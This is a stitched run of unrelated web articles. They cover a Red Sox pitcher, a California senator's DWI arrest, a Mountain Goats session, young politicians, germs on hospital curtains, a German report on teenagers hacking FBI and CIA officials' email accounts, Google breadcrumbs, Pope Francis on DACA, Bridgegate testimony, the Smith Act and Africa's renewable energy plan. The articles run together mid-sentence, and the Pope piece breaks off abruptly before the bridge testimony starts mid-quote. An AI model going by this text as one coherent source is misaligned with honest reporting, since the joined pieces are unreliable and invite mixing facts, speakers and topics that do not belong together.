Delcarmen spent parts of six seasons with the Red Sox before he was traded in 2010 to that same Rockies team he earned a championship ring against a few years earlier. He logged only 8 1/3 innings and posted a 6.48 ERA pitching in the thin air of Colorado. That would be the last we would see of Delcarmen in the majors.
In 2012, Delcarmen signed a minor league contract with the New York Yankees. Putting on pinstripes was borderline criminal for a local kid who grew up outside of Boston. He joked about losing some friends when he signed with the Yankees (maybe he wasn’t joking – after all, it’s the Yankees!). His time on the other side of the rivalry taught him about the business side of baseball and allowed him to understand what players like Johnny Damon and Jacoby Ellsbury went through in switching sides. Delcarmen wanted to keep pitching and the Yankees were the team calling to offer him a contract, simple as that.
Delcarmen has bounced around to several other organizations since, from Triple-A to the Mexican League. His passion for pitching has yet to fade and he still remains hopeful that a team will give him another shot in the big leagues. It’s been seven years since we last saw Delcarmen with the Red Sox, but we may not have seen the last of him in the majors.California State Senator Roy Ashburn, Republican and vocal gay rights opponent, was busted for DWI in his state-issued Chevy Tahoe by Sacramento police. He'd gotten drunk at a gay bar. Also, there was an unidentified man in the passenger seat.
Here's an idea: If you take a principled stand against something, stake your reputation on fighting it, and belittle others because of it, don't get caught red-handed doing that which you oppose. Ashburn, a second-term Senator from California's 18th district has been a very vocal opponent of gay rights and gay marriage in the state and based his campaigns on a platform of family values.
With a resume like that, it must have been something of a surprise when police in Sacramento observed Ashburn's state-issued Chevy Tahoe (Chevy Tahoe? Isn't California in a massive budget crisis?) swerving all over the road and after performing a field sobriety test arrested the Senator for driving while intoxicated. Normally, this is a story of bad judgement and would have ended with Ashburn's brief statement of apology the next day, but the devil is in the details. The fact there was an unidentified man in the passenger seat at the time of Ashburn's arrest isn't at all salacious until you discover eye-witnesses confirming ole Roy had been boozing it up that night at Sacramento area gay nightclub "Faces." That right there? That feeling you're getting? It's extreme schadenfreude borne from impossibly thick hypocrisy. Well, alleged hypocrisy. Let this be a lesson to all politicians with a dirty little career-ending secret; Don't drink and drive. [CBS13 via TalkingPointsMemo, Huffpo]The Mountain Goats: Energy in Surplus
Just the Music Michael Myers Resplendent In the Craters on the Moon
Web Extra: John Darnielle Reads from His Book
Enlarge this image toggle caption Irene Trudel Irene Trudel
toggle caption Mark Van S.
Musicians of all stripes visit the Soundcheck studio. Whether they're dealing with an indie-rock band who played a late show in Philadelphia the night before or an Austrian pianist stressed out about her recital debut, our producers often have to revive sleepy, sluggish artists. Coffee is a must. Granola bars help. And jokes are appreciated — usually.
When John Darnielle of The Mountain Goats visited WNYC, he needed no such prodding. A songwriter with more than 500 songs to his credit, he showed up with a surplus of energy — and two songs from The Mountain Goats' new album, Heretic Pride.
Darnielle kicked off the session with "Michael Myers Resplendent," a creepy tale that ends in flames. We were relieved to learn that this was not among his autobiographical works, like the songs on his acclaimed 2005 album, The Sunset Tree. In fact, "Michael Myers" is a tribute to the masked villain of the slasher-film franchise Halloween.
Later, Darnielle explained the origin of the album's title track. He wrote the phrase "heretic pride" in a notebook, wrote a song around it, and then did a double take. "That's too good a phrase," he said, adding: "I started combing through all my stuff to figure it out." The lifelong heavy-metal fan discovered that it was a lyric from the Norwegian group Aura Noir. (Ever the fan of metal minutiae, Darnielle dubbed the band neither black metal nor thrash metal, but "blackened thrash.")
No one would confuse The Mountain Goats with a punishing band like High on Fire, but Darnielle long ago absorbed the emotion and intensity of his pet genre. While performing "In the Craters on the Moon," his voice climbed to a shrill register for a claustrophobic story set "in the declining years of a long war."
Darnielle's guitar gave out at the end of his explosive performance. "That's a broken string, people!" he shouted.
Due to time constraints, Soundcheck left one entertaining section on the cutting-room floor. Just as host John Schaefer wound down the interview, Darnielle asked if he could read a chapter from his new book, Master of Reality. It's the latest installment in Continuum Publishing's 33 1/3 series, which explores classic albums.
Based on Black Sabbath's 1971 masterpiece, Master of Reality is neither a rock biography nor an academic essay. In it, Darnielle explores the record through the eyes of a teenager institutionalized in a psychiatric ward. The story is fiction, but in the chapter he read, Darnielle captured perfectly the voice, the frustration, and the love of music of a troubled 15-year-old. The details were obviously drawn from Darnielle's real-life experience as a psychiatric nurse and teen counselor.
After the show, as he was literally halfway out the door, Darnielle stopped to spend 10 minutes evangelizing about a bread recipe that involves steaming the bread in a casserole dish. The technique produced the best bread he'd ever tasted, he said. To Darnielle's long list of credits –- prolific songwriter, former nurse, expert on Scandinavian metal, author –- we can add a new title: baker.
Listen to the previous Favorite Session, or see our full archive.In a country as divided as the United States, at least one thing is for certain: public interest in politics is high, no matter where you come from or how old you are. This past presidential election, the voting booth saw about the same amount of millennials as they did baby boomers. With the election of Donald Trump, it’s safe to say that the country was unhappy with the status quo, wanted a change, and to shake things up in the capital. Fresh perspectives, unpopular opinions, alternative ideas and cultural movements are often credited to younger minds.
White heterosexual men who average at the age of 60 make up 74% of the Senate, and 66% of the House of Representatives. Out of the 100 senators, 21 of them are women, and out of 435 politicians who serve in the U.S. House of Representatives, only 83 are women. While the 115th Congress is the most diverse in history, both chambers are incredibly disproportionate when comparing them to the population. Essentially, the vast majority of people who make decisions that impact the lives of the American people are made by white men who are out of touch with the modern voter.
When looking abroad, it’s interesting to note the countries who differ in this sense. For example, Justin Trudeau who is currently the 23rd Prime Minister of Canada, got elected at the age of 45. Even in France, presidential candidate Emmanuel Macron is under 40.
America needs younger and more diverse voices in politics who can relate to and connect with Generation Y. This generation of young voters is more educated than those of the past, and has sought higher degrees in the hopes of landing a better job than their parents and moving up the socio-economic latter. Instead, they are more often met with student loans that are increasingly more difficult to pay off in a struggling job market. When thinking of movements like Occupy Wall Street or Black Lives Matter, we think of youths; youths who are empowered and emboldened by moral, who see injustice and fight it using their rights as human beings.
The under 30 contingency in the country is more diverse than their parents when it comes to issues such as women’s rights, LGBTQ rights, racism, marijuana, and more. However, marching and tweeting is simply not enough. Political action is required, and not just once every four years.
One need to simply tune into 20 minutes of a senate hearing to see and hear that lack of diversity and the disconnect between the 60+-year-old white males and the millennial population. To connect with the modern world, we clearly need younger voices making political waves. The younger generations of voters need someone inspiring who they can level with in order to keep fighting for change in the country.
Here a few examples of models who are out there, asking tough questions and energizing those around them.
In 2016, Democrat Jewell Jones made history by being elected at the age of 21 to serve as the youngest State Representative in Michigan’s history. Representative Jones utilized his social media presence, particularly on his Instagram account, to mobilize his peers. His hashtag: #HOLLA.
Representing the state of Nevada, we have Yvanna Cancela, a 29-year-old who turned a historically red state blue. Before she was elected as Nevada’s first Latina Senator, Cancela, the daughter of Cuban immigrants, was the youngest political director of the Culinary Workers Union in Las Vegas, made of 57,000 people. The millennial young leader mobilized her state to vote for her, and is now using her voice to fight for working-class families.
Saira Blair, a Republican student and politician, proves that yes, you can do it all. Blair, who is at West Virginia University, made US history in 2014 as the youngest person ever to have been elected to state or federal office at the age of 18. The member of the West Virginia House of Delegates ran for re-election in 2016, and won.
A freshman at Harvard University and the founder of PERIOD, a nonprofit that works to provide clean safe menstrual products, Nadya Okamoto is a force to be reckoned with. The 19-year-old is running for Cambridge City Council, and it comes as no surprise that she is the youngest candidate campaigning to fill one of the nine positions.
“Cambridge is still facing the same issues it’s faced decades ago,” she told Global Citizen. “We’re still facing a lot of problems that I think I can add a lot of fresh perspective to.”
Hopefully, with a vast majority of young people being discontent by the current political turmoil, we’ll see more refreshing, motivating, and stimulating new young politicians in the future who are unhappy with the situation and ready to do something about it.Silverstock / Getty Images
We get it — hospitals are crawling with germs. If it’s not your cell phone, the doctor’s coat or even the hands-free water faucet, then it’s the privacy curtain around the bed that’s tainted with unwanted bacteria.
Researchers from the University of Iowa presented data at a scientific conference in Chicago this week showing that they had found disease-causing bugs, including drug-resistant varieties like MRSA (methicillin-resistant Staphylococcus aureus) and VRE (vancomycin-resistant enterococcus), on 95% of hospital room privacy curtains tested. Brand new curtains were contaminated within a week, the researchers said.
The team tested 43 curtains in 30 hospital rooms twice a week for three weeks, taking 180 swab cultures total. They found:
12 of 13 new curtains were contaminated within 7 days
41 of 43 curtains were contaminated on at least one occasion
MRSA was found on 21% of curtains
VRE was found on 42% of curtains
One of the authors of the study received consulting fees from PurThread Technologies, a company that makes antimicrobial fabrics for hospitals — including, hey, privacy curtains.
Luckily, there’s an easier and cheaper way for doctors to prevent the spread of disease-causing bacteria from curtains (or anywhere) to patients: by washing their hands.Simon Lohmann
Dass staatliche Einrichtungen oder deren Angestellte beliebte Ziele von Hackern darstellen, ist eigentlich nichts Neues mehr. Dass Teenager aber in der Lage sind, den E-Mail-Account des FBI-Vizedirektors zu knacken, dagegen schon.
Vergrößern Teenager hacken Accounts des CIA- und FBI-Beamten. © Fotolia/Creativa Images
Eine Gruppe von Jugendlichen soll sich, nach eigenen Angaben zufolge, Zugriff auf die E-Mails des FBI-Vizedirektors Mark Giuliano verschafft haben. Auch der CIA-Chef soll zu den Opfern der Hackergruppe, die sich Crackas With Attitude nennen, zählen. Über das soziale Netzwerk Twitter gab ein Mitglied der Gruppe bekannt, dass diese nun auf die E-Mails des Direktors zugreifen könnten. Das FBI hat sich zu diesem Vorfall bisher noch nicht geäußert. Die Gruppe verriet bisher noch nicht, wie genau sie an diese Informationen gekommen sind, es sei aber „einfach“ gewesen.
anddddddd here we go again lmfao IF YOU OWN A AOL ACCOUNT YOU CAN JOIN THE GOVERNMENT RIGHT NOW!! pic.twitter.com/M0FufHhoRu — cracka (@phphax) 1. November 2015
Neben den E-Mails sollen "Crackas With Attitude" auch an die private Handy-Nummer von Giuliano gekommen sein, woraufhin diesen ihn angerufen haben sollen. Angeblich soll der Vizedirektor des FBI gesagt haben, dass er nicht wisse, wer am Telefon ist, dass sie aber aufpassen sollten.
Auch CIA-Chef John Brennan soll den Hackangriffen der Jugendlichen zum Opfer gefallen sein. Nach eigenen Angaben soll die Gruppe den AOL-Account von Brennan gehackt haben. Obwohl die Gruppe keine direkten Ziele zu verfolgen scheint, wird vermutet, dass sie aufgrund von politischen Hintergründen gehandelt haben. Das FBI hat die Ermittlungen bereits aufgenommen.
Offenbar haben aber die Jungs noch weitere Einzelheiten aus dem Account in petto. Für den fünften November, also für heute, haben sie auf Twitter weitere Nachrichten über das FBI angekündigt.The URL of this result is "www.productwiki.com/spidersapien," which doesn't provide much additional information about the site or this result. Now take a look at the result with the new site hierarchy display:The new text provides useful information about the page. You can tell that the ProductWiki site has information about many different products, organized in different categories, and you can even tell that Spidersapien is a robot toy. In addition, each phrase in the green line is actually a link. For example, clicking on "Toys & Games" takes you to ProductWiki's listing page for all toys, and clicking on "Robots" takes you to a list of their robot toys. This way if you realize that you're interested in a more general category than this specific product (there are a lot of cool robot toys out there) you can easily access information on broader topics.The host and domain for the site (in this case www.productwiki.com) will always be shown, so you always know what website you're going to before you click. There's not always enough room to show the complete hierarchy, so sometimes we use ellipses to replace some of the intermediate levels, like in this result for [ how to make granola ]:The information in these new hierarchies come from analyzing destination web pages. For example, if you visit the ProductWiki Spidersapien page, you'll see a series of similar links at the top, "Home> Toys & Games> Robots." These are standard navigational tools used throughout the web called "breadcrumbs," which webmasters frequently show on their sites to help users navigate. By analyzing site breadcrumbs, we've been able to improve the search snippet for a small percentage of search results, and we hope to expand in the future.When we design the way results appear on google.com, our goal is to get you to the information you're looking for as quickly as possible. Sometimes that means improving how we represent websites, and other times that means giving you new ways to explore content. We're always happy when we can introduce a feature, like site hierarchies, that does both!The Pope voiced his opposition to President Trump's decision to end the Obama-era Deferred Action for Childhood Arrivals (DACA) program that offered protections to young immigrants.
According to Reuters news service, Pope Francis, who has criticized President Trump's policies in the past, was asked by journalists aboard the papal plane returning from his overseas trip to Colombia about his reaction to the latest policy shift.
"One hopes that is re-thought somewhat," replied the Pontiff.
Francis also tied DACA to the president's claim that he's "pro-life."
"[President Trump] presents himself as a pro-life man," Francis said. "If he is a good pro-lifer, he should understand that the family is the cradle of life and you must defend its unity."
Francis told reporters that it was important for young people to have roots, referring to the program's previous rulings that deferred deportations for those who arrived to the U.S. before the age of sixteen.
During the 2016 campaign, Francis was critical of Mr. Trump's plans to build a wall along the U.S.-Mexico border, saying "a person who thinks only about building walls, wherever they may be, and not building bridges, is not Christian."
But Mr. Trump recently appeared to reassure recipients of the DACA program that they shouldn't have concerns about their status in the United States.
Pelosi spoke to Trump about DACA
Mr. Trump tweeted that DACA recipients have "nothing to worry about" despite the fact that his administration is phasing out the program and a series of talking points advised them to self-deport.
Attorney General Jeff Sessions had announced last week week that the program would be rescinded, calling it an "unconstitutional" overreach of executive authority under the Obama administration.
The Department of Homeland Security will now be providing a six-month window for an adjudication process, during which Congress can craft their own immigration legislation to address the issue of DACA.
On the Monday flight, Pope Francis also reignited the debate over climate change, a frequent topic of disagreement between the Pope and Mr. Trump. Francis told reporters |
field."
"We know today, based on this testimony that this issue of the closure of lanes on the George Washington Bridge and the discussion about whether or not there was a traffic study was according to the words used by Mr. Drewniak in the front office bloodstream as early as late October. (Drewniak) said there was a level of knowledge… in the governor's office.
"What this testimony says to me is it calls into question the timeline that has been enunciated in the past about what the governor's office knew and when they knew it."
During the hearing, State Sen. Loretta Weinberg (D-Bergen), co-chair of the committee, asked Drewniak repeatedly if he had corrected the governor prior to or after the Dec. 13 press conference to remind him of Wildstein’s accusations regarding Kelly and Stepien.
Drewniak said he had not, adding that the governor had asked all staffers directly about their involvement and was told there was none.
Drewniak said several times that by kicking the information he received up to more senior members of the administration, he had “fulfilled his role.”
He then said the committee’s concern over his actions assumed Wildstein was telling the truth about others’ involvement.
“To clarify this whole line of questioning, I was operating with what David Wildstein told me,” he said. “I had no knowledge of the veracity of it.”
Christie fired Kelly in January after an email surfaced showing she had known of the lane closures. He cut ties with Stepien on the same day. A report released by a law firm hired by the governor's office concluded that Kelly helped plan the scheme with Wildstein, who was asked to resign in December.
In his testiomony, Drewniak apologized to the committee, and specifically Weinberg for what he was about to say: That there was a belief in the administration that the bridge issue was being “ginned up by two of the most partisan members of the legislature on the other side of the aisle.”
“So that had a role in the coloring and thinking of people,” he said.
Drewniak added that had Christie or any member of the administration had any inkling of the seriousness of the issue, the governor would not have joked about it.
“Nobody would mock something as egregious as we now know transpired,” he said. “This governor — and none of the people around him — would never make a mockery of something so abusive on its face.”
Drewniak’s comments came during the first two hours of testimony before the committee.
Drewniak was questioned extensively by state Assemblyman John Wisniewiski (D-Middlesex) over when he became aware of the traffic issues at the bridge and when he first realized it was a bigger issue than first reported.
Drewniak said his assessment of the seriousness of the issue evolved over time, adding that other important issues, including the boardwalk fire in Seaside Heights, took precedent in the early days.
He also said neither he nor the governor had any reason doubt the diversions were in fact part of a traffic study.
Drewniak opened his testimony with a denial that he knew anything about the September lane closings.
“What needs to be said right up front is that I had no knowledge or involvement in the planning or execution of this strange, unnecessary and idiotic episode that brings us here today,” he said. “Nor did I play any role in any actual or perceived ‘cover up.’”
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• Complete coverage of bridge scandalThe Alien Registration Act, popularly known as the Smith Act, 76th United States Congress, 3d session, ch. 439, 54 Stat. 670, 18 U.S.C. § 2385 is a United States federal statute that was enacted on June 29, 1940. It set criminal penalties for advocating the overthrow of the U.S. government by force or violence and required all non-citizen adult residents to register with the federal government.
Approximately 215 people were indicted under the legislation, including alleged communists, anarchists, and fascists. Prosecutions under the Smith Act continued until a series of U.S. Supreme Court decisions in 1957[2] reversed a number of convictions under the Act, as unconstitutional. The law has been amended several times.
Legislative history [ edit ]
The U.S. government has attempted on several occasions to regulate speech in wartime, beginning with the Alien and Sedition Acts of 1798. During and following World War I, a series of statutes addressed a complex of concerns that included enemy espionage and disruption, anti-war activism, and the radical ideologies of anarchism and Bolshevism, all identified with immigrant communities. Congressional investigations of 'extremist' organizations in 1935 resulted in calls for the renewal of those statutes. The Foreign Agents Registration Act of 1938 addressed a particular concern, but not the general problem.[3] As U.S. involvement in the European war seemed ever more likely, the possibility of betrayal from within gained currency. The Spanish Civil War had given this possibility a name, a "fifth column", and the popular press in the U.S. blamed internal subversion (especially by Communists opposed to the war against Hitler after the Molotov–Ribbentrop Pact) for the fall of France to the Nazis in just six weeks in May and June 1940.[4] Patriotic organizations and the popular press raised alarms and provided examples. In July 1940, Time magazine called fifth column talk a "national phenomenon".[5]
In the late 1930s, several legislative proposals tried to address sedition itself and the underlying concern with the presence of large numbers of non-citizens, including citizens of countries with which the U.S. might soon be at war. An omnibus bill that included several measures died in 1939, but the Senate Judiciary Committee revived it in May 1940. It drew some of its language from statutes recently passed at the state level and combined anti-alien and anti-sedition sections with language crafted specifically to help the government in its attempts to deport Australian-born union leader Harry Bridges. With little debate, the House of Representatives approved it by a vote of 382 to 4, with 45 not voting, on June 22, 1940, the day the French signed an armistice with Germany. The Senate did not take a recorded vote.[6] It was signed into law by President Franklin D. Roosevelt on June 28, 1940.[7] The Act is referred to by the name of its principal author, Rep. Howard W. Smith (Democrat-Virginia), a leader of the anti-labor bloc in Congress.[8]
A few weeks later, the New York Times discussed the context in which the alien registration provisions were included and the Act passed:[9]
The Alien Registration Act was merely one of many laws hastily passed in the first spasm of fear engendered by the success of fifth columns in less fortunate countries. Suddenly the European war seemed almost at our doors, and who could tell what secret agents were already at work in America? So, partly because some such bill would be adopted anyway, and partly because the step, normally distasteful, appeared inevitable, the Administration sponsored the legislation.
Also in June, the President transferred the Immigration and Naturalization Service from the Department of Labor to the Department of Justice (DOJ), demonstrating that the federal government viewed its alien population as a security concern as war grew more likely.
In mid-August, officials of the DOJ held a two-day conference with state officials they called "Law Enforcement Problems of National Defense". Attorney General Jackson and FBI Director Hoover delineated the proper roles for federal and state authorities with respect to seditious activities. They successfully forestalled state regulation of aliens and found state officials receptive to their arguments that states needed to prevent vigilantism and protect aliens, while trusting federal authorities to use the Smith Act to deal with espionage and "fifth column" activities.[10]
On October 13, 1941, the 77th United States Congress amended the Smith Act, authorizing a criminal offense for the unlawful reproduction of alien registration receipt cards.[11]
Provisions [ edit ]
Title I. Subversive activities. The Smith Act set federal criminal penalties that included fines or imprisonment for as long as twenty years and denied all employment by the federal government for five years following a conviction for anyone who:
...with intent to cause the overthrow or destruction of any such government, prints, publishes, edits, issues, circulates, sells, distributes, or publicly displays any written or printed matter advocating, advising, or teaching the duty, necessity, desirability, or propriety of overthrowing or destroying any government in the United States by force or violence, or attempts to do so; or...organizes or helps or attempts to organize any society, group, or assembly of persons who teach, advocate, or encourage the overthrow or destruction of any such government by force or violence; or becomes or is a member of, or affiliates with, any such society, group, or assembly of persons, knowing the purposes thereof.
The Smith Act's prohibition of proselytizing on behalf of revolution repeated language found in previous statutes. It went beyond earlier legislation in outlawing action to "organize any society, group, or assembly" that works toward that end and then extended that prohibition to "membership" or "affiliation"—a term it did not define—with such a group.
Title II. Deportation. Because the Supreme Court in Kessler v. Strecker (1939) held that the Immigration Act of 1918 allowed the deportation of an alien only if his membership in a group advocating the violent overthrown of the government had not ceased,[12] the Smith Act allowed for the deportation of any alien who "at the time of entering the United States, or... at any time thereafter" was a member of or affiliated with such an organization.[13]
The Smith Act expanded the grounds for deporting aliens to include weapons violations and abetting illegal immigration. It added heroin to the category of drug violations.
Title III. Alien registration. The Smith Act required aliens applying for visas to register and be fingerprinted. Every other alien resident of the United States:
who is fourteen years of age or older,... and remains in the United States for thirty days or longer, [is] to apply for registration and to be fingerprinted before the expiration of such thirty days.
Registration would be under oath and include:
(1) the date and place of entry of the alien into the United States; (2) activities in which he has been and intends to be engaged; (3) the length of time he expects to remain in the United States; (4) the criminal record, if any, of such alien; and (5) such additional matters as may be prescribed by the Commissioner [of Immigration and Naturalization], with the approval of the Attorney General.
Guardians had to register minors, who had to register in person and be fingerprinted within 30 days of their fourteenth birthday. Post offices were designated as the location for registering and fingerprinting. Aliens were to notify the government if their residence changed and confirm their residence every three months. Penalties included fines up to $1000 and up to six months imprisonment.
Alien registration [ edit ]
Registrations began on August 27, 1940, and the newly created Alien Registration Division of the Immigration and Naturalization Service planned to register between three and three and a half million people at 45,000 post offices by December 26, after which those not registered became subject to the Smith Act's penalties. The Division held the view that registration benefited the alien, who "is now safeguarded from bigoted persecution." The alien was to bring a completed form to a post office and be fingerprinted. Registration cards would be delivered by mail and would serve "in the nature of protection of the alien later runs afoul of the police." {sic} The details required for registration had been expanded since the passage of the Act to include race, employer's name and address, relatives in the U.S., organization memberships, application for citizenship, and military service record for the U.S. or any other country. Solicitor General Francis Biddle had responsibility for the Division,[9] which was headed by Earl G. Harrison during its first six months.[14] In a radio address meant to reassure aliens, Biddle said: "It was not the intention of Congress to start a witch hunt or a program of persecution." Calling it a "patriotic duty", he said:[15]
Many people still feel that there is a stigma attached to being fingerprinted. I have been fingerprinted, as have millions of others who served in the armed forces of the United States. All Federal civil service employees are fingerprinted. Even postal savings depositors are fingerprinted. I assure you that there is no stigma attached to being fingerprinted in this day and age.
Government efforts to encourage registration asked citizens to participate:[16]
The Immigration and Naturalization Service asks for the cooperation of all citizens in carrying out the Alien Registration program in a friendly manner so that our large foreign population is not antagonized. Citizens may be of great help to their non-citizen neighbors or relatives by explaining to those who do not speak English well what the registration is, where aliens go to register, and what information they must give.
The number registered passed 4.7 million by January 1941.[17]
After the U.S. declared war in 1941, federal authorities used data gathered from alien registrations to identify citizens of enemy nations and take 2,971 them into custody by the end of the year.[18] A different set of requirements was imposed during the war on enemy aliens, citizens of nations with which the U.S. was at war[19] by presidential proclamations of January 14, 1942,[20] without reference to the Smith Act.
In December 1950, following an Immigration and Naturalization Service hearing, Claudia Jones, a citizen of Trinidad, was ordered deported from the U.S. for violating the McCarran Act as an alien (non-U.S. citizen) who had joined the Communist Party (CPUSA). The evidence of her party membership included information she provided when completing her Alien Registration form on December 24, 1940.[21]
Legal proceedings [ edit ]
Harry Bridges [ edit ]
The Smith Act was written so that federal authorities could deport radical labor organizer Harry Bridges, an immigrant from Australia.[6] Deportation hearings against Bridges in 1939 found he did not qualify for deportation because he was not currently—as the Alien Act of 1918 required—a member of or affiliated with an organization that advocated the overthrow of the government.[22] The Smith Act allowed deportation of an alien who was a member of affiliated "at any time" since arriving in the U.S. A second round of deportation hearings ended after ten weeks in June 1941.[23] In September, the special examiner who led the hearings recommended deportation, but the Board of Immigration Appeals (BIA) reversed that order after finding the government's two key witnesses unreliable.[24] In May 1942, though the Roosevelt administration was now putting its anti-Communist activities on hold in the interest of furthering the Soviet-American alliance, Attorney General Biddle overruled the BIA and ordered Bridges deported.[25] Bridges appealed and lost in District Court[26] and the Court of Appeals,[27] but the Supreme Court held 5–3 on June 18, 1945, in the case of Bridges v. Wixon that the government had not proven Bridges was "affiliated" with the CPUSA,[28] a word it interpreted to require more than "sympathy" or "mere cooperation".[29]
Minneapolis 1941 [ edit ]
Albert Goldman, a member of the Socialist Workers Party and defendant in the Minneapolis case, acted as chief defense counsel.
On June 27, 1941, as part of a campaign to end labor militancy in the defense industry, FBI agents raided the Minneapolis and St. Paul offices of the Socialist Workers Party (SWP),[30] a Trotskyist splinter party that controlled Local 544 of the Teamsters union though it had fewer than two thousand members in 30 U.S. cities. The union had grown steadily in the late 1930s, had organized federal relief workers and led a strike against the Works Progress Administration (WPA), a New Deal agency.[31] In mid-July, a federal grand jury indicted 29 people, either members of the SWP or Local 544 of the Teamsters union, or both.[32]
SWP defendants included James P. Cannon, Carl Skoglund, Farrell Dobbs, Grace Carlson, Harry DeBoer, Max Geldman, Albert Goldman, and twelve other party leaders. Goldman acted as the defendants' lawyer during the trial. The SWP had been influential in Minneapolis since the Teamsters Strike of 1934. It advocated strikes and the continuation of labor union militancy during World War II under its Proletarian Military Policy. An SWP member edited the Northwest Organizer, the weekly newspaper of the Minneapolis Teamsters, and the local remained militant even as the national union grew more conservative. The CPUSA supported the trial and conviction of Trotskyists under the Smith Act. The defendants were accused of having plotted to overthrow the U.S. government in violation of the unused Sedition Act of 1861 as well as the newly passed Smith Act.
When critics argued that the government should adhere to the doctrine enunciated by Justice Holmes that free speech could only be prosecuted if it presented "a clear and present danger," Attorney General Biddle replied that Congress had considered both that standard and the international situation when writing the Smith Act's proscriptions. At trial the judge took Biddle's view and refused to instruct the jury in the "clear and present danger" standard as the defendants' attorneys requested.[33] The trial began in Federal District Court in Minneapolis on October 27, 1941. The prosecution presented evidence that the accused had amassed a small arsenal of pistols and rifles and conducted target practices and drills. Some had met with Trotsky in Mexico, and many witnesses testified to their revolutionary rhetoric.
The judge ordered that five of the defendants be acquitted on both counts for lack of evidence. After deliberating for 56 hours, the jury found the other 23 defendants (one had committed suicide during the trial) not guilty of violating the 1861 statute by conspiring to overthrow the government by force. The jury found 18 of the defendants guilty of violating the Smith Act either by distributing written material designed to cause insubordination in the armed forces or by advocating the overthrow of the government by force.[34] The jury recommended leniency.[35] On December 8, 1941, 12 defendants received 16-month sentences and the remaining 11 received 12-months.[36] Time magazine minimized the danger from the SWP, calling it "a nestful of mice." The American Civil Liberties Union (ACLU) and critics on the left worried that the case created a dangerous precedent.[37]
On appeal, a unanimous three-judge panel of the Eighth Circuit Court of Appeals upheld the convictions of the 18. The judges found it unnecessary to consider the "clear and present danger" standard in "situations where the legislative body had outlawed certain utterances."[38] The Supreme Court declined to review the case. Those convicted began to serve their sentences on December 31, 1943. The last of them were released in February 1945. Biddle, in his memoirs published in 1962, regretted having authorized the prosecution.[39]
Nazi sympathizers and racists [ edit ]
Early in 1942, President Roosevelt, supported by the rest of his Cabinet, urged Attorney General Biddle to prosecute fascist sympathizers and anti-Semites.[40] Biddle thought the Smith Act inadequate, but Congress refused to renew the Sedition Act of 1918 as he asked.[41]
In 1942, 16 members of the "Mankind United" semi-religious cult, including founder Arthur Bell, were arrested by the FBI under the act. Although 12 were found guilty, they all won on appeal and none served a jail sentence.
Crusader White Shirts [ edit ]
In March 1942, the government charged George W. Christians, founder of the Crusader White Shirts, with violating the Smith Act by attempting to spread dissent in the armed forces.[42] Life had published a photo of Christians in 1939 under the heading "Some of the Voices of Hate".[43] Christians said he promoted a "human effort monetary system"[44] and supported "a paper and ink revolution for economic liberty". After a four-day trial, he was convicted and sentenced to five years in prison on June 8.[45]
Washington 1944 [ edit ]
Thirty prominent individuals were indicted in Washington, D.C., in July 1942, accused of violations of the Smith Act. After delays while the government amended the charges and struggled to construct its case, the trial, expanded to 33 defendants, began on April 17, 1944. The defendants were a heterogeneous group that held either isolationist or pro-fascist views. In the case of U.S. v. McWilliams, the prosecutor, O. John Rogge, hoped to prove they were Nazi propaganda agents by demonstrating the similarity between their statements and enemy propaganda. The weakness of the government's case, combined with the trial's slow progress in the face of disruption by the defendants, led the press to lose interest.[46] A mistrial was declared on November 29, 1944, following the death of the trial judge, Edward C. Eicher.[47][48] Defendant Lawrence Dennis mocked the affair by subtitling his account of the trial The Great Sedition Trial of 1944.[49]
Only Rogge, a committed liberal, wanted to retry the case to "stop the spread of racial and religious intolerance."[47] Supreme Court decisions since the 1942 indictments made convictions appear ever more unlikely.[50] Roger Baldwin of the ACLU campaigned against renewing the prosecutions, securing the endorsement of many of the defendants' ideological opponents, including the American Jewish Committee, while the CPUSA held out for prosecuting them all to the limit. Tom Clark, Biddle's replacement as Attorney General in the Truman administration, vacillated about the case. In October 1946, he fired Rogge in a public dispute about publicizing DOJ information about right-wing activities. With the end of World War II, attention turned from the defeated ideologies of the Axis powers to the threat of Communism, and in December 1946 the government had the charges dismissed.[51]
Communist Party trials [ edit ]
After a ten-month trial at the Foley Square Courthouse in Manhattan, eleven leaders of the Communist Party were convicted under the Smith Act in 1949.[52] Ten defendants received sentences of five years and $10,000 fines. An eleventh defendant, Robert G. Thompson, a distinguished hero of the Second World War, was sentenced to three years in consideration of his military record. The five defense attorneys were cited for contempt of court and given prison sentences. Those convicted appealed the verdicts, and the Supreme Court upheld their convictions in 1951 in Dennis v. United States in a 6-2 decision.
Following that decision, the DOJ prosecuted dozens of cases. In total, by May 1956, another 131 communists were indicted, of whom 98 were convicted, nine acquitted, while juries brought no verdict in the other cases.[53] Other party leaders indicted included Claudia Jones and Elizabeth Gurley Flynn, a founding member of the ACLU who had been expelled in 1940 for being a Communist.
Appeals from other trials reached the Supreme Court with varying results. On June 17, 1957, Yates v. United States held unconstitutional the convictions of numerous party leaders in a ruling that distinguished between advocacy of an idea for incitement and the teaching of an idea as a concept. The same day, the Court ruled 6-1 in Watkins v. United States that defendants could use the First Amendment as a defense against "abuses of the legislative process." On June 5, 1961, the Supreme Court upheld by 5-4 the conviction of Junius Scales under the "membership clause" of the Smith Act. Scales began serving a six-year sentence on October 2, 1961. He was released after serving fifteen months when President John F. Kennedy commuted his sentence in 1962.[54]
(Trials of "second string" communist leaders also occurred in the 1950s, including that of Maurice Braverman.)Wind turbines at the Sere Wind farm, close to Vredendal, in South Africa. (RODGER BOSCH/AFP/Getty Images)
When it comes to electric power, Africa is still a continent in the dark. More than half of its 1.1 billion inhabitants lack access to electricity, and Africa’s total generating capacity, from Cairo to Cape Town, is only 160 gigawatts, or about half as much as Japan, a country with one-tenth of its population.
Against that backdrop, the plan unveiled this week by the African Union and African Development Bank is remarkably ambitious. Officials from the two organizations announced a goal of delivering at least 300 gigawatts—300 billion watts—of electricity-generating capacity to the continent by 2030, all from clean or renewable energy.
Put another way, in just 15 years Africa would be producing twice as much electricity from solar panels, wind farms, geothermal plants and hydropower than it currently generates from all sources combined.
“Our sunshine should do more than nourish our crops, it must light up our homes,” African Development Bank President Akinwumi A. Adesina said Tuesday at the formal launch of the Africa Renewable Energy Initiative, which was announced during the international climate talks in Paris. “Our massive water resources should do more than water our farms, they must power our industries.”
[Here’s what it will take to forge a climate agreement in Paris.]
Citing the continent’s “massive potentials” for renewable energy, Adesina said the plan would “renew Africa and turn it into a place full of light,” while offering the benefits of electric power to nearly 700 million people who lack it.
For a sense of the project’s ambitious scale, consider that China, the world’s leader in renewables, has a generating capacity of about 380 gigawatts, mostly from wind farms and hydropower. African nations would seek to build nearly as much capacity in less than two decades.
